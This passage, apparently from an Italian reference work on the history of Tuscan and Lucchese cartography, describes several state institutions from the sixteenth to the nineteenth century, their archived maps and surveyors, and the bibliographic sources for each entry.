Col motuproprio del 3 novembre 1835 venne istituita la I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro con sede decentrata a Follonica, località che, grazie al forte potenziamento degli impianti e alla costruzione pianificata di un paese intorno all’area produttiva, stava diventando il centro di gran lunga più importante della siderurgia toscana. La geografia degli impianti – tutti puntualmente descritti e cartografati, uno per uno, nel 1800 dall’ingegnere architetto Bernardino della Porta, in un atlante di 35 eleganti tavole planimetriche a colori – venne radicalmente ridisegnata con l’immediata privatizzazione di tutti quelli del Pistoiese e del Pietrasantino, e con la concentrazione degli investimenti nei poli produttivi di Follonica, il principale, di Cecina, Valpiana e Accesa (l’ultimo dei quali venne però chiuso nel 1851).
Con decreti del 13 giugno e 6 ottobre 1851, la I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro venne trasformata nell’Amministrazione “Cointeressata Bastogi”, vale a dire in una società per azioni pubblica e privata concessa in gestione al finanziere livornese Pietro Bastogi che tenne l’impresa fino al 1881.

Nonostante il tradizionale ricorso ad operatori tecnici per le esigenze di ricognizione, di progettazione ed esecuzione di interventi di ordine architettonico e territoriale (edifici, corsi d’acqua, strade, boschi), pare che fino ad allora non fosse presente un ingegnere nel ruolo dei dipendenti dell’azienda.
Solo il 21 ottobre 1839 compare l’architetto Luigi Leoni, per altro già da oltre un ventennio attivo nell’azienda siderurgica ove avrebbe ancora lavorato almeno fino agli anni ’70: con la qualifica prima di “scritturale”, poi di “segretario della direzione” (comportante il compenso annuo di lire 2800) e addirittura, nel 1870, di “commissario e amministratore” dello stabilimento di Follonica.
Luigi Leoni già nel 1818 stese una perizia del forno di Follonica (ASF, Magona, f. 2483). Nel 1828, quando si firma ancora come architetto delle Regie Fabbriche, eseguì la Recognizione dei locali, descrizione e perizia dei miglioramenti e dei deterioramenti rispetto alla situazione del 1828, in ASF, Magona. Appendice II, f. 256 mazzo n. 1 (Rombai e Tognarini, 1986, pp. 160 e 213; e Quattrucci, 1994, p. 148).
Nel 1852 stese – insieme a Pellegrino Papini – per il nuovo amministratore Bastogi il Rapporto sul riordinamento dell’alveo principale della valle di Rio nell’isola d’Elba con allegato una pianta, un profilo di livellazione e sezioni trasversali dell’ultimo tronco del torrente riese, in ASF, Magona; e I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 673 (cfr. Quattrucci, 1994, p. 204).
Soprattutto, il nostro tecnico affiancò Alessandro Manetti nel disegnare il piano urbanistico di Follonica all’inizio degli anni ’30 (Rombai e Tognarini, 1987).

Produzione cartografica

Pianta del forno di Valpiana, Dionisio Mazzuoli, 1712 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 713, n. 19);
Pianta della costa di Massa e Follonica fino ai forni di Valpiana con le gore, Giuseppe Buonamici ministro a Massa, seconda metà del sec. XVIII (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 744, n. 12);
Pianta geometrica dei terreni di diretto dominio della Comunità di Massa ritenuti a livello nella Bandita del Comunale della Magona di S.A.R., Sebastiano Flosi ingegnere, seconda metà del sec. XVIII (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 744, n. 15);
Planimetria e alzato dei magazzini di marina a Follonica, Giovanni Gamberai, 8 gennaio 1773 (ASF, Magona, 2531, ins. H);
Pianta in proporzione che dimostra il terreno ad uso di pascolo di proprietà di S.A.R. tenuto in affitto dalla R. Magona di Cecina, Giovanni Gamberai, 25 aprile 1793 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 722, n. 26);
Raccolta eterogenea di 79 mappe degli stabilimenti, di terreni e bandite, di fabbricati della Magona nella Montagna Pistoiese, nella Versilia e nella Maremma, con ponti e strade, gore e steccaie, secoli XVII e XVIII (in ASF, Magona, f. 2744);
Piante dimostrative, descrizione e stime degli edifici e fabbriche della Reale magona del Ferro, e legnami di Boscolungo fatte l’anno 1800, dall’ingegnere architetto Bernardino della Porta (in ASF, Magona, f. 2401: atlante di 35 tavole manoscritte colorate relative a tutti gli opifici magonali del Pistoiese, del Pietrasantino e delle Maremme);
Atlante di 72 mappe degli stabilimenti e fabbricati della Magona nella Montagna Pistoiese, nella Versilia e nella Maremma, primi decenni del XIX secolo (ASF, Magona, f. 2743);
Pianta del prato della regia Magona in luogo detto Valpiana, Gaetano Giacomelli, giugno 1807 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 713, n. 19);
Pianta della Bandita delle Tane di proprietà dell’I. e R. Amministrazione delle Miniere e Fonderie del Ferro, metà XIX secolo (ASF, Miscellanea di Piante, n. 243.a);
Tre piante della Bandita della Sassa in Comune di Pomarance di proprietà dell’I. e R. Amministrazione delle Miniere e Fonderie del Ferro, metà XIX secolo (ASF, Miscellanea di Piante, n. 243.b);
Atlante di undici tavole con Progetto del Signor Ingegnere Augusto Ponsard per il rordinamento delle Miniere di Rio, Augusto Ponsard, 1862 (ASF, Miscellanea di Piante, n. 280).

Operatori

Dionisio Mazzuoli (1712); Giuseppe Buonamici, ministro a Massa (seconda metà del sec. XVIII); Sebastiano Flosi, ingegnere (seconda metà del sec. XVIII); Giovanni Gamberai (1773-93); Bernardino della Porta, ingegnere architetto (1800); Gaetano Giacomelli (1807); Luigi Leoni, architetto (1818-70); Augusto Ponsard, ingegnere (1862).

Riferimenti bibliografici e archivistici

Rombai e Tognarini, 1986; Rombai, Toccafondi e Vivoli, 1987, p. 44; Quattrucci, 1994, passim; ASF, Magona; ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro (per le centinaia di segnature interessate con relazioni descrittive e cartografie spesso non firmate o attribuite, cfr. Quattrucci, 1994, passim).

Anna Guarducci (Siena)

Magistrato supremo (1532–1808) (Granducato di Toscana)

La Magistratura venne istituita con le “Ordinazioni” del 27 aprile 1532 insieme al Consiglio dei Duecento e al Senato dei Quarantotto, a sostituzione della Signoria e dei Consigli della Repubblica. Inizialmente detto “Magistrato dei quattro consiglieri” e presieduto dal principe, venne successivamente denominato “Magistrato del luogotenente e consiglieri” e quindi Magistrato supremo.
Costituiva il tribunale più alto della gerarchia, in quanto esercitava soprattutto funzioni di tribunale del principe, con una giurisdizione estesa a varie materie che spesso sconfinava nelle tradizionali competenze di altri tribunali. In particolare, cadevano sotto il suo giudizio le cause tra parenti, le cause dei poveri, quelle feudali, quelle riguardanti scorpori e deroghe di fidecommissi o alienazioni di beni vincolati, le cause relative a gabelle e privilegi, altre cause particolari.
Le figure di maggior rilievo all’interno del Magistrato supremo, i cui membri erano nominati dai senatori e duravano in carica 3 mesi, erano l’auditore fiscale, il cancelliere, il sottocancelliere e i ministri, che si occupavano direttamente del disbrigo degli affari.
Una prima riforma della magistratura venne attuata nel 1678, con una maggiore regolamentazione disciplinare della cancelleria. Più profonda fu la riforma attuata da Pietro Leopoldo con i mp del 30 dicembre 1771, del 23 dicembre 1776 e del 28 maggio 1777.
Il fondo in ASF, Magistrato Supremo si compone di 4453 filze.

Produzione cartografica

La serie di 43 piante, già conservate nell’Archivio del Magistrato supremo e attualmente aggiunte al fondo ASF, Miscellanea di Piante, nn. 557–610, consiste in elaborati forniti dalle parti in causa per meglio illustrare al tribunale la materia del contendere, solitamente questioni di eredità o di confinazioni.
Si tratta di carte in genere relative ad ambiti locali (luoghi, edifici), seppure piuttosto accurate, “pezze d’appoggio” per cause che coinvolgevano interessi cospicui e appaiono per la maggior parte redatte e sottoscritte dai periti delle parti, tecnici a volte strutturati nei ruoli degli uffici pubblici, ma spesso soltanto liberi professionisti (periti, agrimensori ecc.).

Operatori

Placido Ramponi (1711), Tommaso de Federighi (1718), Antonio Giuseppe Fornai (1725), Angiolo Maria Mascagni (1738), Niccolaio Stassi (1761), Giovanni Giuseppe Ricci (1761), Giovanni Franceschi (1775), Gaspero Cecchi (II metà XVIII sec.), Giovan Battista Aiazzi (II metà XVIII sec.), Bartolomeo Rossetti (XVIII sec.), Francesco Folini (XVIII sec.), Bartolomeo Galleni (XVIII sec.), Giuseppe Ruggieri (1755), Burgagni (1748), Lorenzo Rigatti (II metà XVIII sec.), Giovan Battista Caldini (II metà XVIII sec.), Francesco Magnelli (agrimensore, 1777), Simone Lorenzo Signorini (1788), Giovanni Giorgio Kindt (1780), Francesco Boddi (agrimensore, 1780), Camillo Borselli (1788), Mattia Magnelli (1791), Giovanni Caluri (1781), Giovan Battista Buocristiani (1781), Bartolomeo Ristori (II metà XVIII sec.), Luigi Sgrilli (II metà XVIII sec.), Luca Ristorini (II metà XVIII sec.), Luigi Tortori (1766), Luigi Cianchi (agrimensore, II metà XVIII sec.), Giuliano Mellini (perito geometra di Forlì, 1792), Francesco Sodi (fine XVIII sec.), Stefano Piazzini (1798), Giovanni Domenico Riccetti (1798), Bartolomeo Zabagli (agrimensore, 1793), Giuseppe Manetti (1804), Stefano Diletti (1804), Agostino Neri di Montepulciano (agrimesore, 1794), Gaspero Del Bianco di Montefollonico (agrimensore, 1794), Giovanni Michele Piazzini (fine XVIII sec.), Francesco Marinelli (XVIII sec.), Gaetano Bercigli (II metà XVIII sec.).

Riferimenti bibliografici e archivistici

Rombai, Toccafondi e Vivoli, a cura di, 1987, pp. 36–37; Pansini, 1973, pp. 283-315; Guida generale agli archivi di Stato italiani, 1983, pp. 81–82. ASF, Magistrato Supremo; ASF, Miscellanea di Piante.

Rosamaria Martellacci (Siena)

Istituzioni lucchesi (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Capitoli (inizio secolo XVI)

Beni e Fabbriche Pubbliche (metà secolo XVI-fine secolo XVIII)

Fortificazioni della Città e dello Stato di Lucca (1504-1801)

Offizio sopra le Strade Urbane (1607-1801)

Deputazione sopra le Fontane di Lucca (1732-1789)

La produzione cartografica della Repubblica, e successivamente Ducato di Lucca, copre un lasso di tempo molto ampio, quasi sei secoli, e riguarda settori di applicazione fra i più diversi: come ogni amministrazione statale, infatti, si doveva occupare della progettazione del territorio, con le varie istituzioni che si prendevano cura dell’assetto urbanistico, di quello idrologico, di quello fiscale. Oltre a questi campi di influenza, molti altri ambiti quale la progettazione della rete viaria o delle fortificazioni, o ancora le difficoltose dispute di confine, sono state attività che hanno portato alla nascita di un corposo insieme di elaborati all’interno dei quali una parte predominante era costituita dai dati cartografici che accompagnavano i progetti, le relazioni o le proposte che venivano promosse e attuate dall’amministrazione.
Deputazioni importanti come erano quelle riguardanti i corsi fluviali, le aree lacustri o le marine, con i relativi problemi di bonifica e di regimazione delle acque, oppure quelle rivolte specificatamente verso l’attività catastale, costituiscono dei fondi archivistici che hanno una propria organicità e un’unità d’intenti da essere descritte e analizzata singolarmente, mentre all’interno della più generica produzione cartografica dello Stato lucchese rientrano quei prodotti che furono eseguiti nei tempi più antichi – quando ancora non si era formata una precisa differenziazione nei compiti dei diversi Offizi – oppure quelli afferenti a piccole (sia dal punto di vista temporale, cioè istituite straordinariamente e rinnovate solo per un preciso periodo di anni, sia da quello della finalità, e quindi limitate a risolvere problemi contingenti) cure che portavano all’elezione e alla costituzione di magistrature ad hoc, che hanno portato alla formazione ad un corpus cartografico ben circoscritto.

Capitoli. Il fondo ASLu dei Capitoli rappresenta un insieme di documenti che non si riferiscono a una deputazione specifica che svolgeva un proprio compito all’interno dell’amministrazione lucchese, ma è costituito da atti che furono svolti nel corso degli anni da vari rappresentanti della Repubblica e che sono stati in seguito raccolti – ad esclusione degli originali, conservati invece nel fondo Diplomatico – a parte.
Così la serie dei Capitoli, già a partire dallo statuto del 1308, raccolse le copie e le trascrizioni delle carte che riguardavano i vari privilegi, le concessioni, i trattati, le leghe, le paci e in generale tutte quelle scritture che si riferivano alla giurisdizione dello Stato lucchese. Questo inventario attraversò molte traversie, tra le quali anche l’incendio, che portarono alla perdita di numerosi documenti: “dal 1255 fino al 1355, che v’è anni cento, la terra cambiò molte volte signoria et fu saccheggiata diverse volte, lo Archivio dui volte abrugiò, dipoi non se n’è hauto quella diligentia che sarebe stato di bisogno in salvare le scripture; chè molte note habiamo trovato, che citano diversi libri et scripture publiche, che non se ne trova nessuna”.
Un importante elemento cartografico è costituito dalla produzione presente a lato dei Libri delle Sentenze. Questi documenti furono commissionati dal Consiglio Generale il 9 febbraio 1536 a “Messer Nicolao Liena, maestro Gerardo Seriusti et messer Dino Sardini, in loco del decto maestro Gerardo absente, et Martino Bernardini”, che in poco più di due anni, raccolsero “tutte le carte comprovanti i diritti di Lucca sul territorio che gli era stato soggetto nel tempo della sua maggiore possanza, che fu il principio del XIV secolo”.
La cartografia che accompagna le scritture, i diritti e la cronistoria di ogni singola vicenda, è eseguita con grande maestria pittorica e mai con esattezza geometrica, ma il risultato è senza dubbio ricco di una forte valenza descrittiva che mette in risalto le tecniche prospettiche che erano proprie di una classe di “cartografi” non ancora professionista, ma che fonda le sue radici nelle botteghe artistiche della Lucca del XV e del XVI secolo.

Beni e Fabbriche Pubbliche. Nel fondo dell’Archivio di Lucca così intitolato è raccolto un corpo di scritture di varia origine eseguite fra la metà del XVI secolo e la fine del Settecento. Fra questi documenti si riscontrano contratti di vendita di beni pubblici, carte relative ai lavori di ristrutturazione del Palazzo Pubblico eseguiti dal 1576 al 1595, inventari di mobili, registri di spesa, ma soprattutto dei preziosi martilogi di beni pubblici, che con la relativa cartografia risultano essere dei validissimi strumenti per la ricostruzione dell’assetto urbanistico della città di Lucca.
I martilogi o terrilogi sono dei registri in cui venivano descritti i beni di una proprietà – in questo caso dello Stato lucchese, ma spesso anche di famiglie notabili che facevano eseguire tali rappresentazioni per i propri possedimenti – tramite una breve descrizione degli immobili e un loro disegno che, nel caso dei due pezzi conservati in questo fondo, illustrano con una precisa accuratezza e dovizia di particolari gli aspetti urbani della città tra il 1553 e il 1630 (in una copia del secondo registro vi sono anche degli aggiornamenti che giungono fino al 1790). Entrambi i martilogi (il secondo in due copie), infatti, comprendono delle dettagliate descrizioni dei beni del Comune eseguite da importanti professionisti cartografi, come l’ingegnere e architetto militare Baldassare Lanci – che, proveniente dal Ducato di Urbino, stette al servizio dello stato lucchese dal 1547 fino al 1557 –, Marcantonio Botti e Frediano Puccini, che originariamente erano state ordinate dall’Offizio sopra le Entrate, ma che in seguito sono state collocate nella serie dei Beni e Fabbriche per la tipologia di documenti (nella serie delle Entrate, però, sono conservati altri inventari con descrizioni e raffigurazioni degli stabili pubblici della città compilati nel XVI secolo).

Fortificazioni della Città e dello Stato di Lucca. Questo offizio fu istituito il 7 maggio del 1504 per volere del Consiglio Generale poiché “era generalmente riconosciuto che troppo poco conferissero alla sicurezza della Repubblica la cinta dei muri ed i torrioni della città, edificati due secoli innanzi, quando le artiglierie erano ignote e solamente in parte restaurati e rinforzati nel tempo di mezzo”. I compiti propri di questa deputazione erano quelli di provvedere alla realizzazione di un nuovo sistema di fortificazioni per la città e per altri luoghi strategici situati sul territorio lucchese.
In relazione a ciò, fu prodotto un numero cospicuo di carte che illustrano la progettazione sia delle opere di edilizia difensiva che del più ampio sistema generale di fortificazione: tale sistema non ebbe comunque una genesi e un’attuazione del tutto lineare, ma dovette superare molte controversie che portarono ad una definitiva realizzazione delle difese cittadine soltanto nel 1650.
L’Offizio dal 1654 ebbe fra i suoi compiti anche quello di sovrintendere alla nuova Matricola degli Agrimensori che era stata istituita con decreto del 27 maggio 1651. Nonostante il fondo relativo a questa sorta di corporazione non offra dei documenti cartografici propri, ma solamente dei registri d’esame e atti di segreteria generali, è utile essere a conoscenza del fatto che tale Matricola che imponeva delle sedute periodiche di aggiornamento a tutti gli iscritti e aveva l’obbligo di tenere aggiornati tutti gli strumenti e le unità di misura per la cartografazione, fu richiesta per mettere un po’ di ordine e decretare delle linee guida all’interno dell’ambiente di questi speciali periti. Infatti, fino a quel tempo, in varie occasioni gli agrimensori erano stati accusati di vera e propria frode a vantaggio di una o di un’altra parte, e da tutti si auspicava una regolamentazione della professione perché “ogni persona a suo volere assumeva l’esercizio di agrimensore senza pratica o scienza alcuna”.

Offizio sopra le Strade Urbane. La progettazione e la manutenzione della viabilità urbana di Lucca e della pianura circostante la città (il Distretto, ovvero quel territorio che si apriva in un intorno di “Sei Miglia” dal capoluogo), in passato rientrava nei compiti della Cura del Fondaco che si occupava dell’organizzazione generale del commercio e delle sue attività. Con il passare del tempo e l’aumentare della convinzione che per affrontare determinati problemi fosse necessaria una caratterizzazione e un’indicazione specifica delle pertinenze delle varie magistrature, si giunse dapprima all’istituzione dell’Offizio sopra le Strade delle Sei Miglia nel 1523, che sovrintendeva all’intero territorio del Distretto, e successivamente fu decisa l’istituzione, il 29 agosto del 1607, di un Offizio ordinario sopra le Strade Urbane.
Questa magistratura ordinaria veniva formata annualmente con l’elezione di dodici cittadini da parte del consiglio degli Anziani – con il decreto del 6 marzo del 1626, il numero dei componenti la deputazione fu abbassato a sei – che innanzitutto avevano il compito di provvedere all’esecuzione di nuovi lavori nelle strade della città, in considerazione dello stato di degrado e di insufficienza della viabilità cittadina. Inoltre, fra le mansioni che abitualmente spettavano all’Offizio vi erano quelle di far rispettare le leggi che regolavano il “mantenimento e restauro delle strade, a cui erano tenuti i cittadini possessori delle case o fronteggianti, ma pure di eseguire i lavori nuovi e straordinari che venissero ordinati, e quella parte dei lavori anche ordinari che facevano carico al pubblico, come le piazze, le strade avanti le chiese ec…”.

Deputazione sopra le Fontane di Lucca. Questa deputazione fu richiesta dal Consiglio Generale per sopperire alla deficitaria situazione in cui versava la rete di approvvigionamento idrico della città nel XVIII secolo. Infatti, in passato l’acqua raggiungeva la città da nord, convogliando in vari punti di Lucca parte delle falde del Serchio, ma molte di queste fontane, già alla fine del medioevo, non esistevano più ed erano cadute in disuso. La cittadinanza era costretta quindi ad utilizzare dei pozzi privati che, in varie circostanze, portavano ad una grave carenza dal punto di vista igienico-sanitario. Si giunse verso una risoluzione del problema, pensando di portare “acqua buona e salubre dai colli circostanti” già durante il XVII secolo, ma per vari motivi “non si venne a capo di questo utilissimo lavoro”.
Una risoluzione del Consiglio Generale del 5 settembre 1732 commissionò degli studi al perito Giuseppe Natalini che propose il progetto di un acquedotto che discendeva dalla Badia di Cantignano fino a Lucca. Ma anche tale proposta venne accantonata, finché il 28 agosto 1772 fu nominata una deputazione che presentò nuovi studi eseguiti da Giovanni Attilio Arnolfini – riprendendo delle proposte che erano già state avanzate nel 1763 – in cui si suggeriva di raccogliere le acque dai colli a sud della città, e precisamente costruendo una conduttura ad archi che proveniva di San Quirico di Guamo. Nonostante che la relazione sia stata letta in Consiglio Generale per ben cinque volte – l’ultima delle quali il 22 settembre 1789 – anche nei suoi confronti non fu presa nessuna risoluzione e i lavori di questa deputazione furono sciolti.
Comunque non tutto il lavoro fu vano, dato che nel 1823 l’architetto Lorenzo Nottolini riprese in mano, a sua volta, tali studi e finalmente portò a termine nel 1832 l’importante opera idraulica, facendo erigere “un magnifico acquedotto, costrutto ad archi al modo romano, [che] condusse in Lucca l’acqua di S. Quirico, che veniva poi distribuita in più fonti, con incomparabile beneficio de’ cittadini”.

Produzione cartografica

Capitoli: Gli estremi cronologici riferibili al fondo dei Capitoli della città di Lucca sono molto ampi e in alcuni casi incerti, ma la cartografia presente nei Libri delle Sentenze è databile attorno alla prima metà del XVI secolo (in molti casi prende spunto da mappe precedenti presenti in altri fondi).
I documenti si presentano molto diversificati sia per la tipologia di realizzazione, che per il territorio che viene rappresentato negli stessi. I luoghi maggiormente interessati dalle problematiche che necessitavano operazioni di tale dettaglio descrittivo, come una rappresentazione cartografica, furono soprattutto quei territori che per lunghi secoli si trovarono sul confine fra le varie signorie. Così si hanno molte carte della Garfagnana, della Montagna pistoiese, della Versilia e del Lago di Sesto, ovvero là dove si ebbero i maggiori attriti fra le pretese della città di Lucca, del Ducato di Massa, degli Estensi e dei Medici. Quasi tutta la produzione non presenta mai l’autore e là dove si ha nota, non risulta mai essere un realizzatore professionista, ma un personaggio illustre che si prestava alla descrizione corografica del territorio di volta in volta in questione.
In particolare, sono da ricordare alcune mappe cinquecentesche che insistono su zone ampiamente dibattute e sulle quali vi sono state numerose controversie, come la zona del Lago di Sesto a cui si riferiscono un gran numero di documenti in Capitoli, f. 9, cc. 335-373. In generale, comunque, il materiale raccolto nei Libri delle Sentenze è rintracciabile soprattutto all’interno di Capitoli, filze n. 8, 9 e 10.

Beni e Fabbriche Pubbliche: La produzione cartografica relativa a questa istituzione (comprendente opere realizzate tra la metà del XVI secolo e la fine del XVIII secolo) si presenta soprattutto in veste di terrilogi e di documenti descrittivi delle proprietà e degli stabili dello stato lucchese.
In particolare sono da segnalare: Martilogio Nuovo de’ beni stabili proprii del Mag. Comune di Lucca, Mes. Baldassare, Piero de la Lena e Giuseppe Civitale, 1553 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di tutti li beni stabili attenenti all’Ecc. Consiglio, Frediano Puccini e Marcantonio Botti, 1629-1630 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di beni stabili del Mag. Com. di Lucca, Frediano Puccini, Marcantonio Botti e Gregorio Natalini, 1629-1635 (ASLu, Beni e Fabbriche Pubbliche, 2); Mappe, Bartolomeo Ammannati, 1578 (ASLu, Beni e Fabbriche Pubbliche, 6).

Fortificazioni della Città e dello Stato di Lucca: La produzione cartografica dell’ente inizia dalla fine del XV secolo (con alcuni progetti del 1491) fino alla sua abolizione decretata nel 1801. Gran parte delle mappe presenti nel fondo sono state però prodotte fra il XVI e il XVII secolo.
Numerosa e varia la produzione, con realizzazioni attinenti i progetti riguardanti la localizzazione dei punti strategici fortificati della città di Lucca e di altre località del territorio della Repubblica. In particolare si hanno mappe riguardanti le mura e i baluardi della città, risalenti ai secoli XVI e XVII, in ASLu, Fortificazioni, f. 41-42; mentre per fortificazioni di altri territori (Castiglione, Coreglia, Gallicano, Ghivizzano, Lucchio, Motrone, Viareggio e San Quirico di Valdriana) si possono reperire le rispettive mappe in ASLu, Fortificazioni, f. 43.

Offizio sopra le Strade Urbane: Molto importante risulta essere l’opera di Andrea Bertacchi nella seconda metà del XVIII secolo: in questo fondo in ASLu sono conservate carte che danno la “dimostrazione delle strade di nuovo lastricate e selciate poste nella città di Lucca”, eseguite dal perito, su commissione dell’Offizio sopra le Strade Urbane, fra il 1768 e il 1794.
Sono tre gruppi distinti di mappe:
21 mappe di altrettante strade urbane eseguite dal 1768 fino al 1770 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 1-21);
24 mappe eseguite dal 1771 fino al 1780 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 22-45);
60 mappe eseguite dal 1780 fino al 1794, compresa una pianta del nuovo condotto fognario risalente al 1785 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 46-105).
Inoltre altre grandi mappe sono raccolte all’interno della filza n. 27.

Deputazione sopra le Fontane di Lucca: Tra la documentazione relativa alla progettazione dell’acquedotto (fra il 1732 e il 1789), si segnalano:
Mappa della livellazione dalla Badia di Cantignano fino a Lucca eseguita da Giuseppe Natalini nel 1732 (ASLu, Deputazione sopra le Fontane di Lucca, 1); Pianta e profilo della livellazione da S. Quirico di Guamo fino a Lucca eseguita da Giorgio Martinelli nel 1772 (ASLu, Deputazione sopra le Fontane di Lucca, 1).

Operatori

Capitoli: Messer Nicolao Liena; maestro Gerardo Seriusti; messer Dino Sardini; Martino Bernardini (secolo XVI).

Beni e Fabbriche Pubbliche: Bartolomeo Ammannati (fiorentino, 1577); Mes. Baldassare (perito ingegnere, 1553); Marcantonio Botti (pubblico agrimensore, 1629-1635); Giuseppe Civitale (pubblico agrimensore, 1553); Piero de la Lena (pubblico agrimensore, 1553); Giovan Lorenzo Martinelli (pubblico agrimensore, 1730); Gregorio Natalini (pubblico agrimensore, 1629-1635); Frediano Puccini (pubblico agrimensore 1629-1635).

Fortificazioni della Città e dello Stato di Lucca: Ginese Bresciani (1591); Girolamo Cassar (ingegnere); Matteo Civitali (fine XV secolo); Vincenzo Civitali (1589-1590); M. A. Colonna (ingegnere); Giovan Battista Drusiani (ingegnere); Gherardo del Duca (perito agrimensore, 1648-1651); Giovan Domenico Frediani (perito ingegnere, 1720); Silvestro Gabbrielli (perito agrimensore, 1648-1651); Baldassarre Lanci (1549); Paolo Lipparelli (perito ingegnere, 1648-1651); Francesco di Giorgio Martini (fine XV secolo); Matteo Oddi (1624); Francesco Paciotti; Francesco da Pesaro; Alessandro Resta; Flaminio Samminiati (1579-1596); Iacopo Seghizzi da Modena; Pietro Vagnarelli (1601-1607).

Offizio sopra le Strade Urbane: Andrea Bertacchi (seconda metà del XVIII secolo).

Deputazione sopra le Fontane di Lucca: Giovanni Attilio Arnolfini (ingegnere, 1772); Giorgio Martinelli (ingegnere, 1732); Giuseppe Natalini (ingegnere, 1732); Lorenzo Nottolini (architetto, 1823-1832).

Riferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 2001, p. 89-106; Azzari, 1993; Barsanti, 1987; Barsanti, 1984; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Belli, 1953, pp. 161-184; Belli Barsali, 1980; Bertuzzi e Vaccari, 1993, pp. 306-360; Boncompagni e Ulivieri, 2000;
Bongi, 1872-1888; Bramanti, 2001, pp. 91-111; Caciagli, 1984; Capacci, 1990, pp. 63-91; Dezzi Bardeschi, 1972, pp. 263-264; Franchetti Pardo e Romby, 1980; Gallo, 1993; Ginori Lisci, 1978; Matteucci, 1913, pp. 101-117; Nepi, 2003; Nepi e Mazzei, 2001; Niccolai, 2004; Pedreschi, 1956; Rombai, 1983, pp. 83-100; Rombai, 1993, pp. 103-146. ASLu, Capitoli, Beni e Fabbriche Pubbliche, Fortificazioni, Offizio sopra le Strade Urbane, Deputazione sopra le Fontane di Lucca.

Giulio Tarchi (Siena)

Imperiale e Reale Laboratorio di Cartografia (Granducato di Toscana)

Per approntare con rapidità (con utilizzazione delle mappe e dei quadri di unione catastali) una cartografia tecnica a scala topografica variabile, utilizzabile per qualsiasi bisogno dell’amministrazione statale, il granduca Leopoldo II fondò nel 1828 un piccolo gabinetto centralizzato di cartografia, posto alle dirette dipendenze di Alessandro Manetti e del Corpo degli Ingegneri di Acque e Strade.
A quel che è dato sapere, infatti, il Laboratorio operò sempre in stretto collegamento con il Corpo degli Ingegneri (e, anzi, per certi aspetti al suo interno). I tecnici ivi addetti provvidero subito a disegnare e spesso anche a pubblicare – con l’innovativo procedimento della litografa – innumerevoli rappresentazioni delle aree dove si progettavano importanti opere pubbliche, come strade (poi anche ferrovie), canalizzazioni fluviali e bonifiche (è il caso specialmente delle pianure maremmane di Cecina, Piombino, Follonica-Scarlino, Grosseto); oppure per rifornire di rappresentazioni di stati di fatto o di progetti territoriali gli altri dipartimenti governativi che, da allora, persero molta della loro tradizionale importanza come strutture di elaborazione cartografica originale a grande scala.
Il Laboratorio nell’autunno 1830 contava tra i suoi dirigenti l’ispettore Scarperia che il 7 ottobre chiese che Giovanni Inghirami consegnasse al sottoposto Chiari una delle copie di stampa della sua carta geometrica che “sarebbe utile per uso in questo I. e R. Laboratorio di Cartografia” (Rombai, 1989, p. 112).

Produzione cartografica

Alcuni dei prodotti del Laboratorio vennero utilizzati per illustrare l’opera celebrativa della bonifica maremmana pubblicata nel 1838 dal funzionario granducale (e allievo di Giovanni Inghirami) Ferdinando Tartini Salvatici: l’atlante di corredo intitolato Tavole e prospetti statistici comprende, infatti, 27 figure relative a meccanismi idraulici e strumenti utilizzati nelle operazioni di bonifica (cateratte, ponti-canali, graticciati, gabbioni, steccaie, macchine e attrezzi), la Carta geometrica di quella parte delle Maremme Toscane ch’è compresa tra la fine della Cecina ed i monti dell’Alberese, colla indicazione delle opere che vi furono eseguite dopo l’anno 1829 e dei resultamenti ottenuti sino al 1838 per la sua Bonificazione, redatta da Felice Francolini e Giuseppe Pianigiani, le tre Tavole comparative lo stato della Pianura Grossetana in varie epoche dall’anno 300 di Cristo al 1836, e finalmente ben 9 litografie intitolate Carte del Padule di Castiglione della Pescaia indicanti le varie fasi del bonificamento (redatte appunto dai tecnici del Laboratorio), la carta del Lavori eseguiti nell’alveo dell’Ombrone alla presa d’acqua del secondo Canale Diversivo, la Pianta della porzione di padule prossima a Castiglione della Pescaia col nuovo emissario, e la carta dei Bacini dell’Ombrone, dei suoi affluenti e dei fiumi tributari del padule di Castiglione (Gabellini, 1987, pp. 152-153).
Molte delle carte redatte dal Laboratorio tra il 1828 e il 1859 sono conservate nei fondi dell’ASF (specialmente Segreteria di Gabinetto Appendice, filze 191-192, 197 ss.), dell’AAADF (Archivio Manetti) e dell’IGM (in particolare Fondo Fossombroni).
Tra le carte spiccano quelle litografiche in scala 1.60.000: Paduli di Castiglioni ed adiacenze del 1829 (IGM, Fondo Fossombroni, n. d’ordine 33, e Coll. Pasqui, n. d’ordine 34), Padule di Scarlino e sue adiacenze del 1846 (IGM, Coll. Pasqui, n. d’ordine 50) e Padule di Piombino e sue adiacenze del 1846 (IGM, Coll. Pasqui, n. d’ordine 51).
In tutte queste rappresentazioni geometriche – così come nei documenti editi successivamente sulle stesse matrici via via aggiornate – vengono privilegiati i contenuti idrografici (zone umide, fiumi e canali, colmate), tanto da dover considerare le figure come carte tematiche, anche se le reti insediativa e stradale principali (con la rispettiva toponomastica) vengono riportate con assoluta precisione.

Operatori

Raramente le figure sono firmate, costituendo opera ormai compiutamente collettiva. Tra gli operatori spicca, comunque, il nome dell’ingegnere Baldassarre/Baldo Marchi, uno dei più attivi collaboratori del Manetti nel Corpo degli Ingegneri e nell’Ufficio di Bonificamento delle Maremme.

Riferimenti bibliografici e archivistici

Rombai, 1982, 1987, 1989, 1993 e 1995; Gabellini, 1987, pp. 152-153. ASF, Segreteria di Gabinetto Appendice; AAADF; IGM.

Leonardo Rombai (Siena)